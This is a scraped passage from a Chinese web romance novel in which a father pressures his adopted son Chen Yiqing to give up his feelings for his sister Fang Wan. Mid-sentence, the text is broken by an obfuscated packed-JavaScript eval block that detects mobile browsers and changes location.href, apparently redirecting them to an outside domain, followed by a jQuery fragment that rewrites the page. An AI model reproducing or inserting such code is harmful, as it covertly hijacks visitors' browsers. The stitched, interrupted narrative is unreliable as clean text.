“周川柏是周家独子,周氏集团未来接班人。不管从家世还是从财力上来说,都是可以正大光明追求方晚的人。” “你没发现他们走得很近吗?两个人青梅竹马认识了这么多年,方晚从来不抗拒周川柏,周川柏也从来没放弃过你妹妹。” “他们一样大,喜欢的东西也大差不差,你能确定你妹妹不喜欢他吗?” 陈亦青:“……我不知道。” “好吧,就算你不知道,但有些事实你还是清楚的吧?” 陈海生皱了皱眉,“陈亦青,说难听点,你不过是我当时从捡来的孩子,如果当时不是我和你妈妈好心,你根本就不会有现在的生活,也不会遇到方晚。” “换句话来说,你和我们根本没关系,脱离了这个家,你什么也不是。” 陈海生叹气:“这样说或许有些残忍,但我这是为了你们好。退一万步说就算你们在一起了,你觉得方晚的生活会变得更好吗?” “别人只会议论她和自己的哥哥谈恋爱。舆论对于一个女孩子的影响有多大你应该很清楚。” “解释不清的,你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14588154|154001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都做了这么久的兄妹,还是会有很多人下意识的把你们当成有血缘关系的亲人。” 陈海生握住他的肩膀,“你连自己的姓氏都没有,难道要为了自己的一己私欲去毁坏你妹妹的名声吗?” 压在身体上的重量越来越沉。 陈亦青背对着陈海生,和他的视线错开。 陈海生这番话里几分真几分假他还是知道的。陈海生不喜欢方晚,但再怎么说她也是他的女儿,他就算为了面子,也不可能把她嫁给一个泛泛之辈。 更何况,这个人还是个来路不明的弃子。 陈亦青闭着眼,微微抬头,胃部一阵紧缩,好像有只手紧紧地攥着。它不光攥,力气还一点点加大,胃酸在胃里粗暴地翻来覆去,表面更是生生烙下几条乌青的指痕。 喉咙干涩得让他恶心,艰难地吞咽后,喉结重重滑落。 再睁开时,陈亦青沉沉地呼了口气。 --- 和周川柏说好后,方晚拍拍他的后背,以示鼓励,“加油。” “我相信过段时间你就会想清楚了。” “哪有这么容易。”周川柏勉强一笑,“这么多年了,要是能想清楚早就想清楚了。” “那是因为我们天天见,你还没尝试过和我断联啊。” 方晚说:“好啦,快回去吧。” 周川柏望着她,少女安慰的语调,明媚的双眸,无不让唤起他最深的回忆。 明明自己也不好受,嘴上还安慰着别人。看上去玩世不恭,为所欲为,实际有着最坚硬的盔甲,也有柔软的内心。 怎么办。 她总是无时无刻让他心动。 周川柏重重地点头,“知道了,你也回去吧。” “有什么事儿可以联系我,随时待命。” “嗯,拜拜。” 方晚摆摆手,祝他一路顺风。 她一边喃喃自语“能有什么事儿”,一边飞速走回家。 她刚刚都看到了,陈亦青房间的灯还亮着呢。 哥背对着她,站在窗边。纯白的窗叶将他漆黑高大的背影一道一道剖开,她看不见他此刻的表情。 哥在家,这么晚不睡肯定是在等她。 方晚跑上楼,提到陈亦青的名字,她总是莫名的高兴。拐个弯,上到楼梯口,她的房门大大敞开着,唯独陈亦青的封闭了。 她拉开门把进去,陈亦青就站在她触手可及的范围里。 在看到陈亦青的瞬间,她的心也飘了起来,于是扑到他怀里,“哥,我今天……好想好想你。” 方晚带着惯常撒娇的语气,用脑袋蹭了蹭他。 但在女孩子看不见的地方,男人手指微微颤抖。 在抱与不抱,分离和扣紧之间,血腥地来回较量。 “方晚,你做好心理准备,有件事我想告诉你。”陈亦青听到自己说。